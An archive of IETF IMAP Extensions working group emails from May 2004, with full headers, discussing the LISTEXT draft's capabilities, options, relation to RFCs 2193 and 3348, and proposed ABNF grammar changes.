(SOURCEFOUR.andrew.cmu.edu [128.2.122.8]) (user=rjs3 mech=GSSAPI (0 bits)) by smtp-test.andrew.cmu.edu (8.12.10/8.12.10) with ESMTP id i4BJwDln027457; Tue, 11 May 2004 15:58:13 -0400 Date: Tue, 11 May 2004 15:58:12 -0400 (EDT) From: Rob Siemborski To: Ken Murchison cc: Alexey Melnikov , IMAP Extensions WG Subject: Re: Short summary of LISTEXT changes In-Reply-To: <40A1066A.4000107@oceana.com> Message-ID: References: <407955E1.90005@isode.com> <409E0940.1030909@isode.com> <409E1480.2010402@isode.com> <40A1066A.4000107@oceana.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: On Tue, 11 May 2004, Ken Murchison wrote: > > No objections (assuming ABNF is correct -- I haven't verified it). > Me either. Well, one -- the ABNF is hideously ugly, and much more complicated than I feel it needs to be to adequately describe what is probably necessary for the extended item data. Most notably, there are two pairs of mutually recursive productions, and I think it can be simplified down to: mbox-list-extended = "(" [mbox-list-extended-item *(SP mbox-list-extended-item)] ")" mbox-list-extended-item = "(" mbox-list-extended-item-data ")" mbox-list-extended-item-data = string SP simple-nstring-list simple-nstring-list = nstring / "(" simple-nstring-list *(SP simple-nstring-list) ")" ;; a recursive list definition Without losing any *real* functionality. -Rob -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Rob Siemborski | Andrew Systems Group * Research Systems Programmer PGP:0x5CE32FCC | Cyert Hall 207 * rjs3@andrew.cmu.edu * 412.268.7456 -----BEGIN GEEK CODE BLOCK---- Version: 3.12 GCS/IT/CM/PA d- s+: a-- C++++$ ULS++++$ P+++$ L+++ E W+ N(-) o? K- w-- O- M-- V-- PS+ PE+ Y+ PGP+ t+@ 5+++ X- R@ tv-- b+ DI+++ D++ G e++ h+ r- y? ------END GEEK CODE BLOCK----- Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BJ21Km050754; Tue, 11 May 2004 12:02:01 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4BJ21CA050753; Tue, 11 May 2004 12:02:01 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from eagle.oceana.com (eagle.oceana.com [208.17.123.12]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BJ20KJ050741 for ; Tue, 11 May 2004 12:02:00 -0700 (PDT) (envelope-from ken@oceana.com) Received: from oceana.com (KEN.oceana.com [192.168.10.26]) by eagle.oceana.com (8.12.11/8.12.11) with ESMTP id i4BJ1xHF016511; Tue, 11 May 2004 15:01:59 -0400 (EDT) Message-ID: <40A12358.70905@oceana.com> Date: Tue, 11 May 2004 15:02:48 -0400 From: Ken Murchison Organization: Oceana Matrix Ltd. User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7b) Gecko/20040421 X-Accept-Language: en,pdf MIME-Version: 1.0 To: Alexey Melnikov CC: IMAP Extensions WG Subject: Re: Collected issues with LISTEXT References: <407955E1.90005@isode.com> <409E0940.1030909@isode.com> <40A10601.10103@oceana.com> <40A119D7.80703@isode.com> <40A11E5D.6050006@oceana.com> <40A12004.3060401@isode.com> In-Reply-To: <40A12004.3060401@isode.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0 () X-Scanned-By: MIMEDefang 2.39 Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Alexey Melnikov wrote: > > LISTEXT gives the complete functionality of RFC 3348. However LIST > (REMOTE) only replaces RLIST/RLSUB from RFC 2193, the rest of RFC 2193 > is not affected. OK, that's what I expected. -- Kenneth Murchison Oceana Matrix Ltd. Software Engineer 21 Princeton Place 716-662-8973 x26 Orchard Park, NY 14127 --PGP Public Key-- http://www.oceana.com/~ken/ksm.pgp Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BImaKC049309; Tue, 11 May 2004 11:48:36 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4BImadf049308; Tue, 11 May 2004 11:48:36 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from rufus.isode.com (rufus.isode.com [62.3.217.251]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BImZvu049301 for ; Tue, 11 May 2004 11:48:35 -0700 (PDT) (envelope-from Alexey.Melnikov@isode.com) Received: from isode.com (shiny.isode.com [62.3.217.250]) by rufus.isode.com via TCP (with SMTP (internal)) with ESMTPA; Tue, 11 May 2004 19:48:36 +0100 Message-ID: <40A12004.3060401@isode.com> Date: Tue, 11 May 2004 19:48:36 +0100 From: Alexey Melnikov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Ken Murchison CC: IMAP Extensions WG Subject: Re: Collected issues with LISTEXT References: <407955E1.90005@isode.com> <409E0940.1030909@isode.com> <40A10601.10103@oceana.com> <40A119D7.80703@isode.com> <40A11E5D.6050006@oceana.com> In-Reply-To: <40A11E5D.6050006@oceana.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Ken Murchison wrote: > Alexey Melnikov wrote: > >>> Is there any interaction between CHILDREN, REMOTE and their relevant >>> RFC's? >> >> There is an example in LISTEXT about LIST (CHILDREN REMOTE). I think >> this should be sufficient. > > Sorry, I meant is support for RFC 2193 required in order to support > LISTEXT REMOTE (and similarly for CHILDREN) No and no. > or does LISTEXT automatically give you support for the functionality > in RFC 2193 and RFC 3348? LISTEXT gives the complete functionality of RFC 3348. However LIST (REMOTE) only replaces RLIST/RLSUB from RFC 2193, the rest of RFC 2193 is not affected. >>> Cyrus supports both CHILDREN and LISTEXT, and if the client uses >>> LIST syntax, is always returns CHILDREN info (per the RFC). If the >>> client uses LISTEXT syntax, then it only gets CHILDREN info if the >>> client asked for it. >> >> I think this is reasonable. Do you think this should be mentioned in >> LISTEXT? > > I don't know, it seemed like common sense to me. Is LISTEXT going to > deprecate RFC 3348? I think it effectively does. But does WG wants to officially state that in LISTEXT? > If so, then something like this might be mention in a BCP doc. ... or just be part of LISTEXT. Alexey Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BIejix048574; Tue, 11 May 2004 11:40:45 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4BIejMQ048573; Tue, 11 May 2004 11:40:45 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from eagle.oceana.com (eagle.oceana.com [208.17.123.12]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BIejxb048567 for ; Tue, 11 May 2004 11:40:45 -0700 (PDT) (envelope-from ken@oceana.com) Received: from oceana.com (KEN.oceana.com [192.168.10.26]) by eagle.oceana.com (8.12.11/8.12.11) with ESMTP id i4BIehX9016009; Tue, 11 May 2004 14:40:43 -0400 (EDT) Message-ID: <40A11E5D.6050006@oceana.com> Date: Tue, 11 May 2004 14:41:33 -0400 From: Ken Murchison Organization: Oceana Matrix Ltd. User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7b) Gecko/20040421 X-Accept-Language: en,pdf MIME-Version: 1.0 To: Alexey Melnikov CC: IMAP Extensions WG Subject: Re: Collected issues with LISTEXT References: <407955E1.90005@isode.com> <409E0940.1030909@isode.com> <40A10601.10103@oceana.com> <40A119D7.80703@isode.com> In-Reply-To: <40A119D7.80703@isode.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0 () X-Scanned-By: MIMEDefang 2.39 Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Alexey Melnikov wrote: >> >> Is there any interaction between CHILDREN, REMOTE and their relevant >> RFC's? > > > There is an example in LISTEXT about LIST (CHILDREN REMOTE). I think > this should be sufficient. Sorry, I meant is support for RFC 2193 required in order to support LISTEXT REMOTE (and similarly for CHILDREN) or does LISTEXT automatically give you support for the functionality in RFC 2193 and RFC 3348? >> Cyrus supports both CHILDREN and LISTEXT, and if the client uses LIST >> syntax, is always returns CHILDREN info (per the RFC). If the client >> uses LISTEXT syntax, then it only gets CHILDREN info if the client >> asked for it. > > > I think this is reasonable. Do you think this should be mentioned in > LISTEXT? I don't know, it seemed like common sense to me. Is LISTEXT going to deprecate RFC 3348? If so, then something like this might be mention in a BCP doc. -- Kenneth Murchison Oceana Matrix Ltd. Software Engineer 21 Princeton Place 716-662-8973 x26 Orchard Park, NY 14127 --PGP Public Key-- http://www.oceana.com/~ken/ksm.pgp Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BIMMJZ046390; Tue, 11 May 2004 11:22:22 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4BIMMP3046389; Tue, 11 May 2004 11:22:22 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from rufus.isode.com (rufus.isode.com [62.3.217.251]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BIMHME046358 for ; Tue, 11 May 2004 11:22:21 -0700 (PDT) (envelope-from Alexey.Melnikov@isode.com) Received: from isode.com (shiny.isode.com [62.3.217.250]) by rufus.isode.com via TCP (with SMTP (internal)) with ESMTPA; Tue, 11 May 2004 19:22:15 +0100 Message-ID: <40A119D7.80703@isode.com> Date: Tue, 11 May 2004 19:22:15 +0100 From: Alexey Melnikov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Ken Murchison CC: IMAP Extensions WG Subject: Re: Collected issues with LISTEXT References: <407955E1.90005@isode.com> <409E0940.1030909@isode.com> <40A10601.10103@oceana.com> In-Reply-To: <40A10601.10103@oceana.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Ken Murchison wrote: > Alexey Melnikov wrote: > >> I've changed my mind about the CHILDREN option (\HasNoChildren might >> have some value), so I can live with it being part of LISTEXT. >> >> So, I propose to have single capability for LISTEXT that includes >> support for 3 options: SUBSCRIBED, CHILDREN and REMOTE. > > > So, the LIST-SUBSCRIBED capability goes away? Yes. > Is there any interaction between CHILDREN, REMOTE and their relevant > RFC's? There is an example in LISTEXT about LIST (CHILDREN REMOTE). I think this should be sufficient. >>> 2). Discussion about CHILDREN/LISTEXT interaction. If the server >>> should advertise CHILDREN if it supports LISTEXT. And how a client >>> that only supports CHILDREN will work with a LISTEXT server. This is >>> somewhat related to 1). >>> >>> (I don't have any opinion on this. Should I start a new thread and >>> post a digest of issues here?) >> >> I suggest no action. >> >>> 3). Extending LIST syntax to allow for additional parameter to a >>> list option, e.g. something like LIST (SORT (NAME DATE)) "" % >>> >>> No requirement for this right now, can be done later on. If you feel >>> strongly about this speak up now! >> >> Leave this for later. > > Cyrus supports both CHILDREN and LISTEXT, and if the client uses LIST > syntax, is always returns CHILDREN info (per the RFC). If the client > uses LISTEXT syntax, then it only gets CHILDREN info if the client > asked for it. I think this is reasonable. Do you think this should be mentioned in LISTEXT? >>> 5). Allow for referral information to be returned in response to >>> LIST (REFERRAL). >>> >>> Suggestion: add REFERRAL LIST option and response data to the >>> LISTEXT document, no new capability for this. Reason: referral data >>> can be returned for a locally renamed mailbox (i.e. NEWNAME response >>> code replacement), no need to support RFC 2193 for this. If the >>> server doesn't support referrals of any sort, this option will be >>> ignored. >> >> I am not sure if I've convinced Cyrus about usability of this. >> In order to speed up publication of LISTEXT I suggest that this can >> be done as a new extension. >> >> However I would suggest to do an ABNF change to allow for REFERRAL >> syntax that I've proposed earlier. I will post a separate message on >> this. > > No argument here. > >>> Related to this: do a revision of RFC 2193 that is using LISTEXT >>> framework (in particular obsolete RLIST/RLSUB). >>> >>> So, LISTEXT capability will mean: support for LIST option syntax, >>> support for \PlaceHolder and \NonExistent flags, support for >>> SUBSCRIBED/REMOTE/REFERRAL options (and maybe support for CHILDREN). >> >> LISTEXT capability will mean: support for LIST option syntax, support >> for \PlaceHolder and \NonExistent flags, support for >> SUBSCRIBED/REMOTE/CHILDREN options. > > > So, REMOTE is always supported independent of RFC 2193 support? Yes. And as I mentioned earlier, we need to do a revision of RFC 2193 that works with LISTEXT (and used LIST (REMOTE)). Alexey Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BGwZ4g036235; Tue, 11 May 2004 09:58:35 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4BGwZD3036234; Tue, 11 May 2004 09:58:35 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from eagle.oceana.com (eagle.oceana.com [208.17.123.12]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BGwZPe036218 for ; Tue, 11 May 2004 09:58:35 -0700 (PDT) (envelope-from ken@oceana.com) Received: from oceana.com (KEN.oceana.com [192.168.10.26]) by eagle.oceana.com (8.12.11/8.12.11) with ESMTP id i4BGwWnp013807; Tue, 11 May 2004 12:58:32 -0400 (EDT) Message-ID: <40A1066A.4000107@oceana.com> Date: Tue, 11 May 2004 12:59:22 -0400 From: Ken Murchison Organization: Oceana Matrix Ltd. User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7b) Gecko/20040421 X-Accept-Language: en,pdf MIME-Version: 1.0 To: Alexey Melnikov CC: IMAP Extensions WG Subject: Re: Short summary of LISTEXT changes References: <407955E1.90005@isode.com> <409E0940.1030909@isode.com> <409E1480.2010402@isode.com> In-Reply-To: <409E1480.2010402@isode.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0 () X-Scanned-By: MIMEDefang 2.39 Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Alexey Melnikov wrote: > > I would like to do 2 changes to the document before asking for Last Call: > > 1). Add a short clarification paragraph that describes what LISTEXT is: > support for LIST option syntax, support for \PlaceHolder and > \NonExistent flags, support for SUBSCRIBED/REMOTE/CHILDREN options. > > 2). Change ABNF from: > > mailbox-list = "(" [mbx-list-flags] ")" SP > (DQUOTE QUOTED-CHAR DQUOTE / nil) SP mailbox > [SP mbox-list-extended] > > mbox-list-extended = "(" [mbox-list-extended-item > *(SP mbox-list-extended-item)] ")" > > mbox-list-extended-item = "(" string SP (nstring / > mbox-list-extended-item) ")" > / mailbox-list-extended > to: > > mailbox-list = "(" [mbx-list-flags] ")" SP > (DQUOTE QUOTED-CHAR DQUOTE / nil) SP mailbox > [SP mbox-list-extended] > > (mailbox-list hasn't been changed) > > mbox-list-extended = "(" [mbox-list-extended-item > *(SP mbox-list-extended-item)] ")" > > mbox-list-extended-item = "(" mbox-list-extended-item-data ")" > / mailbox-list-extended > > mbox-list-extended-item-data = string SP (nstring / > simple-nstring-list / > mbox-list-extended-item) > > simple-nstring-list = "(" nstring *(SP nstring) ")" > ;; two or more nstrings grouped in parentheses > > This is done to allow for REFERRAL syntax that I've suggested earlier: > > referral_data = "REFERRAL" SP "(" urlstring *(SP urlstring) ")" > > urlstring = <"> url <"> > ; See [RFC-1738] for definition > > where referral_data matches mbox-list-extended-item-data ABNF production. No objections (assuming ABNF is correct -- I haven't verified it). -- Kenneth Murchison Oceana Matrix Ltd. Software Engineer 21 Princeton Place 716-662-8973 x26 Orchard Park, NY 14127 --PGP Public Key-- http://www.oceana.com/~ken/ksm.pgp Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BGusvV036036; Tue, 11 May 2004 09:56:54 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4BGusgi036035; Tue, 11 May 2004 09:56:54 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from eagle.oceana.com (eagle.oceana.com [208.17.123.12]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BGurub036024 for ; Tue, 11 May 2004 09:56:53 -0700 (PDT) (envelope-from ken@oceana.com) Received: from oceana.com (KEN.oceana.com [192.168.10.26]) by eagle.oceana.com (8.12.11/8.12.11) with ESMTP id i4BGul07013779; Tue, 11 May 2004 12:56:47 -0400 (EDT) Message-ID: <40A10601.10103@oceana.com> Date: Tue, 11 May 2004 12:57:37 -0400 From: Ken Murchison Organization: Oceana Matrix Ltd. User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7b) Gecko/20040421 X-Accept-Language: en,pdf MIME-Version: 1.0 To: Alexey Melnikov CC: IMAP Extensions WG Subject: Re: Collected issues with LISTEXT References: <407955E1.90005@isode.com> <409E0940.1030909@isode.com> In-Reply-To: <409E0940.1030909@isode.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 21 (NEW_DOMAIN_EXTENSIONS) X-Scanned-By: MIMEDefang 2.39 Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Alexey Melnikov wrote: > > I've changed my mind about the CHILDREN option (\HasNoChildren might > have some value), so I can live with it being part of LISTEXT. > > So, I propose to have single capability for LISTEXT that includes > support for 3 options: SUBSCRIBED, CHILDREN and REMOTE. So, the LIST-SUBSCRIBED capability goes away? Is there any interaction between CHILDREN, REMOTE and their relevent RFC's? >> 2). Discussion about CHILDREN/LISTEXT interaction. If the server >> should advertise CHILDREN if it supports LISTEXT. And how a client >> that only supports CHILDREN will work with a LISTEXT server. This is >> somewhat related to 1). >> >> (I don't have any opinion on this. Should I start a new thread and >> post a digest of issues here?) > > > I suggest no action. > >> 3). Extending LIST syntax to allow for additional parameter to a list >> option, e.g. something like LIST (SORT (NAME DATE)) "" % >> >> No requirement for this right now, can be done later on. If you feel >> strongly about this speak up now! > > > Leave this for later. Cyrus supports both CHILDREN and LISTEXT, and if the client uses LIST syntax, is always returns CHILDREN info (per the RFC). If the client uses LISTEXT syntax, then it only gets CHILDREN info if the client asked for it. >> 5). Allow for referral information to be returned in response to LIST >> (REFERRAL). >> >> Suggestion: add REFERRAL LIST option and response data to the LISTEXT >> document, no new capability for this. Reason: referral data can be >> returned for a locally renamed mailbox (i.e. NEWNAME response code >> replacement), no need to support RFC 2193 for this. If the server >> doesn't support referrals of any sort, this option will be ignored. > > > I am not sure if I've convinced Cyrus about usability of this. > In order to speed up publication of LISTEXT I suggest that this can be > done as a new extension. > > However I would suggest to do an ABNF change to allow for REFERRAL > syntax that I've proposed earlier. I will post a separate message on this. No argument here. > >> Related to this: do a revision of RFC 2193 that is using LISTEXT >> framework (in particular obsolete RLIST/RLSUB). >> >> So, LISTEXT capability will mean: support for LIST option syntax, >> support for \PlaceHolder and \NonExistent flags, support for >> SUBSCRIBED/REMOTE/REFERRAL options (and maybe support for CHILDREN). > > > LISTEXT capability will mean: support for LIST option syntax, support > for \PlaceHolder and \NonExistent flags, support for > SUBSCRIBED/REMOTE/CHILDREN options. So, REMOTE is always supported independent of RFC 2193 support? -- Kenneth Murchison Oceana Matrix Ltd. Software Engineer 21 Princeton Place 716-662-8973 x26 Orchard Park, NY 14127 --PGP Public Key-- http://www.oceana.com/~ken/ksm.pgp Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BGPg5g032421; Tue, 11 May 2004 09:25:42 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4BGPguE032420; Tue, 11 May 2004 09:25:42 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from kahuna.osafoundation.org (kahuna.osafoundation.org [204.152.186.98]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BGPf1s032410 for ; Tue, 11 May 2004 09:25:41 -0700 (PDT) (envelope-from lisa@osafoundation.org) X-Envelope-From: lisa@osafoundation.org X-Envelope-To: ietf-imapext@imc.org Received: from [192.168.101.178] (w002.z065106067.sjc-ca.dsl.cnc.net [65.106.67.2]) (authenticated bits=0) by kahuna.osafoundation.org (8.12.8/8.12.8) with ESMTP id i4BGP6JL029096 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NO); Tue, 11 May 2004 09:25:07 -0700 Mime-Version: 1.0 (Apple Message framework v613) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit Cc: Chris Newman From: Lisa Dusseault Subject: Found editor for i18n draft Date: Tue, 11 May 2004 09:25:34 -0700 To: IMAP Extensions WG X-Mailer: Apple Mail (2.613) X-Scanned-By: MIMEDefang 2.39 Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Arnt Gulbrandsen has volunteered to take on the i18n draft that's currently a blocking WG item and we gratefully accepted. Thanks Arnt! --lisa Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i49ClHD5087787; Sun, 9 May 2004 05:47:17 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i49ClHZD087786; Sun, 9 May 2004 05:47:17 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from rufus.isode.com (rufus.isode.com [62.3.217.251]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i49ClFGA087771 for ; Sun, 9 May 2004 05:47:16 -0700 (PDT) (envelope-from Alexey.Melnikov@isode.com) Received: from isode.com (shiny.isode.com [62.3.217.250]) by rufus.isode.com via TCP (with SMTP (internal)) with ESMTPA; Sun, 9 May 2004 13:47:14 +0100 Message-ID: <409E1480.2010402@isode.com> Date: Sun, 09 May 2004 12:22:40 +0100 From: Alexey Melnikov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: IMAP Extensions WG Subject: Short summary of LISTEXT changes References: <407955E1.90005@isode.com> <409E0940.1030909@isode.com> In-Reply-To: <409E0940.1030909@isode.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: I would like to do 2 changes to the document before asking for Last Call: 1). Add a short clarification paragraph that describes what LISTEXT is: support for LIST option syntax, support for \PlaceHolder and \NonExistent flags, support for SUBSCRIBED/REMOTE/CHILDREN options. 2). Change ABNF from: mailbox-list = "(" [mbx-list-flags] ")" SP (DQUOTE QUOTED-CHAR DQUOTE / nil) SP mailbox [SP mbox-list-extended] mbox-list-extended = "(" [mbox-list-extended-item *(SP mbox-list-extended-item)] ")" mbox-list-extended-item = "(" string SP (nstring / mbox-list-extended-item) ")" / mailbox-list-extended to: mailbox-list = "(" [mbx-list-flags] ")" SP (DQUOTE QUOTED-CHAR DQUOTE / nil) SP mailbox [SP mbox-list-extended] (mailbox-list hasn't been changed) mbox-list-extended = "(" [mbox-list-extended-item *(SP mbox-list-extended-item)] ")" mbox-list-extended-item = "(" mbox-list-extended-item-data ")" / mailbox-list-extended mbox-list-extended-item-data = string SP (nstring / simple-nstring-list / mbox-list-extended-item) simple-nstring-list = "(" nstring *(SP nstring) ")" ;; two or more nstrings grouped in parentheses This is done to allow for REFERRAL syntax that I've suggested earlier: referral_data = "REFERRAL" SP "(" urlstring *(SP urlstring) ")" urlstring = <"> url <"> ; See [RFC-1738] for definition where referral_data matches mbox-list-extended-item-data ABNF production. Alexey Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i49ClGQ0087778; Sun, 9 May 2004 05:47:16 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i49ClGJC087777; Sun, 9 May 2004 05:47:16 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from rufus.isode.com (rufus.isode.com [62.3.217.251]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i49ClFG9087771 for ; Sun, 9 May 2004 05:47:15 -0700 (PDT) (envelope-from Alexey.Melnikov@isode.com) Received: from isode.com (shiny.isode.com [62.3.217.250]) by rufus.isode.com via TCP (with SMTP (internal)) with ESMTPA; Sun, 9 May 2004 13:47:14 +0100 Message-ID: <409E0940.1030909@isode.com> Date: Sun, 09 May 2004 11:34:40 +0100 From: Alexey Melnikov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: IMAP Extensions WG Subject: Re: Collected issues with LISTEXT References: <407955E1.90005@isode.com> In-Reply-To: <407955E1.90005@isode.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Ok, I haven't seen much discussion on the list of LISTEXT issues recently, so I am proposing a plan to move forward with the document. Alexey Melnikov wrote: > Hi everyone, > Below is the list of issues raised for LISTEXT document in the last > couple of years. With each issue I am giving my personal suggestion > what to do. > > 1) One LISTEXT capability versa LIST-CHILDREN, LIST-SUBSCRIBED, > LIST-REMOTE > > Suggestion: no LIST-REMOTE capability (for servers that don't support > remote mailboxes REMOTE option to the LIST command is ignored). > Do a separate revision of RFC 2193 (RFC 2193 - informative reference > for LISTEXT). > > Mark agreed earlier to support LIST (SUBSCRIBED) as a part of LISTEXT > (no new capability). > > I personally don't like CHILDREN, so I would like to see LIST-CHILDREN > capability, as was suggested by Mark. But I can live with it being > part of the LISTEXT extension. I've changed my mind about the CHILDREN option (\HasNoChildren might have some value), so I can live with it being part of LISTEXT. So, I propose to have single capability for LISTEXT that includes support for 3 options: SUBSCRIBED, CHILDREN and REMOTE. > (Related to this) Ken proposed: > Using to detect LISTEXT extensions: > > . LIST () "" "" > * LIST (SUBSCRIBED CHILDREN ACL2) "." "" I've heard no opinions on this. If you really want/don't want this functionality, speak up now. > Cyrus proposed: > CAPABILITYPLUS > > I would rather not delay LISTEXT any further by making it a dependency > of CAPABILITYPLUS. > But if the WG feels that Ken proposal is useful, this should be added > to LISTEXT. I think Ken's proposal doesn't preclude any future work on > CAPABILITYPLUS. Leave this for later. > 2). Discussion about CHILDREN/LISTEXT interaction. If the server > should advertise CHILDREN if it supports LISTEXT. And how a client > that only supports CHILDREN will work with a LISTEXT server. This is > somewhat related to 1). > > (I don't have any opinion on this. Should I start a new thread and > post a digest of issues here?) I suggest no action. > 3). Extending LIST syntax to allow for additional parameter to a list > option, e.g. something like LIST (SORT (NAME DATE)) "" % > > No requirement for this right now, can be done later on. If you feel > strongly about this speak up now! Leave this for later. > 4). Add more examples? I think this might be a good idea, considering > the amount of questions on the mailing list regarding different flag > combinations > for different options. I suggest no action. If you want to add some examples which are not in the document now, let me know. > 5). Allow for referral information to be returned in response to LIST > (REFERRAL). > > Suggestion: add REFERRAL LIST option and response data to the LISTEXT > document, no new capability for this. Reason: referral data can be > returned for a locally renamed mailbox (i.e. NEWNAME response code > replacement), no need to support RFC 2193 for this. If the server > doesn't support referrals of any sort, this option will be ignored. I am not sure if I've convinced Cyrus about usability of this. In order to speed up publication of LISTEXT I suggest that this can be done as a new extension. However I would suggest to do an ABNF change to allow for REFERRAL syntax that I've proposed earlier. I will post a separate message on this. > Related to this: do a revision of RFC 2193 that is using LISTEXT > framework (in particular obsolete RLIST/RLSUB). > > So, LISTEXT capability will mean: support for LIST option syntax, > support for \PlaceHolder and \NonExistent flags, support for > SUBSCRIBED/REMOTE/REFERRAL options (and maybe support for CHILDREN). LISTEXT capability will mean: support for LIST option syntax, support for \PlaceHolder and \NonExistent flags, support for SUBSCRIBED/REMOTE/CHILDREN options. Alexey Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i46FPWHX076631; Thu, 6 May 2004 08:25:33 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by 